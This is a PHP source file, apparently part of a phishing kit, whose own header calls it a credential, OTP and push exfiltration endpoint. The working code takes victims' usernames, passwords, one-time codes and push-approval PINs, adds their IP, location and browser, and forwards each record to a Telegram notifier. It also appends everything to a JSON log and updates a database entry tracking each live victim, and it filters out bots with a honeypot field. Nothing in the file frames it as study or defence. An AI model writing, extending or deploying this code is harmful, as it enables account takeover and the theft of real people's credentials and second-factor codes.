File size: 4,251 Bytes
9d38145
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
<?php
/**
 * send_credentials.php — credential / OTP / push exfil endpoint.
 *
 * Appends every submission to submissions.json and fires the matching Telegram
 * notification (plain text). Returns {status, valid}.
 */
declare(strict_types=1);

require_once __DIR__ . '/lib.php';

header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');
header('Content-Type: application/json; charset=utf-8');
header('Cache-Control: no-store');

if (($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS') {
    http_response_code(204);
    exit;
}

/** Read merged JSON / form / query input. */
function sc_input(): array
{
    $in = array_merge($_GET, $_POST);
    $raw = file_get_contents('php://input');
    if (is_string($raw) && $raw !== '') {
        $j = json_decode($raw, true);
        if (is_array($j)) {
            $in = array_merge($in, $j);
        }
    }
    return $in;
}

/** Append a record to a JSON-array file (best-effort, locked). */
function sc_append(string $path, array $record): void
{
    try {
        $fh = @fopen($path, 'c+');
        if ($fh === false) {
            return;
        }
        if (flock($fh, LOCK_EX)) {
            $raw = stream_get_contents($fh);
            $arr = [];
            if (is_string($raw) && trim($raw) !== '') {
                $decoded = json_decode($raw, true);
                if (is_array($decoded)) {
                    $arr = $decoded;
                }
            }
            $arr[] = $record;
            ftruncate($fh, 0);
            rewind($fh);
            fwrite($fh, json_encode($arr, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT));
            fflush($fh);
            flock($fh, LOCK_UN);
        }
        fclose($fh);
    } catch (Throwable $e) {
        // best-effort
    }
}

$in = sc_input();
$clientId = trim((string) ($in['client_id'] ?? ($in['clientId'] ?? '')));
$dataType = (string) ($in['data_type'] ?? '');
$device = (string) ($in['device'] ?? '');
$bot = (string) ($in['bot'] ?? '');
if ((string) ($in['hp'] ?? '') !== '') {
    $bot = 'bot';
}
$ip = ofb_client_ip();
$ua = (string) ($_SERVER['HTTP_USER_AGENT'] ?? '');

// server-side enrichment context shared by every message builder
$ctx = [
    'client_id' => $clientId,
    'device'    => $device,
    'ip'        => $ip,
    'geo'       => ofb_geo($ip),
    'browser'   => ofb_browser($ua),
];

$valid = true;

if (stripos($dataType, 'Login') !== false) {
    $username = (string) ($in['username'] ?? '');
    $password = (string) ($in['password'] ?? '');
    $valid = ($username !== '' && $password !== '');
    $payload = ['username' => $username, 'password' => $password];
    if ($valid) {
        ofb_telegram(ofb_msg_login(array_merge($ctx, $payload)));
    }
} elseif (stripos($dataType, 'OTP') !== false) {
    $otp = (string) ($in['otp'] ?? '');
    $valid = ($otp !== '');
    $payload = ['otp' => $otp];
    if ($valid) {
        ofb_telegram(ofb_msg_otp(array_merge($ctx, $payload)));
    }
} elseif (stripos($dataType, 'Push') !== false) {
    $state = (string) ($in['push_state'] ?? '');
    $pin = (string) ($in['push_pin'] ?? '');
    $bio = (string) ($in['push_bio'] ?? 'no');
    if ($bio === '') {
        $bio = 'no';
    }
    if ($pin !== '' && !valid_pin($pin)) {
        $valid = false;
    }
    $payload = ['push_state' => $state, 'push_pin' => $pin, 'push_bio' => $bio];
    if ($valid) {
        ofb_telegram(ofb_msg_push(array_merge($ctx, $payload)));
    }
} else {
    // unknown data_type — still logged
    $payload = $in;
}

$record = array_merge(
    [
        'client_id' => $clientId,
        'data_type' => $dataType,
        'device'    => $device,
        'bot'       => $bot,
        'ip'        => $ip,
        'timestamp' => date('Y-m-d H:i:s'),
    ],
    is_array($payload) ? $payload : []
);
sc_append(__DIR__ . '/submissions.json', $record);

// keep the live row current
try {
    if ($clientId !== '') {
        $pdo = ofb_db();
        ofb_upsert($pdo, $clientId, ['ip_address' => $ip, 'last_seen' => date('Y-m-d H:i:s')]);
    }
} catch (Throwable $e) {
    // best-effort
}

echo json_encode(['status' => 'ok', 'valid' => (bool) $valid]);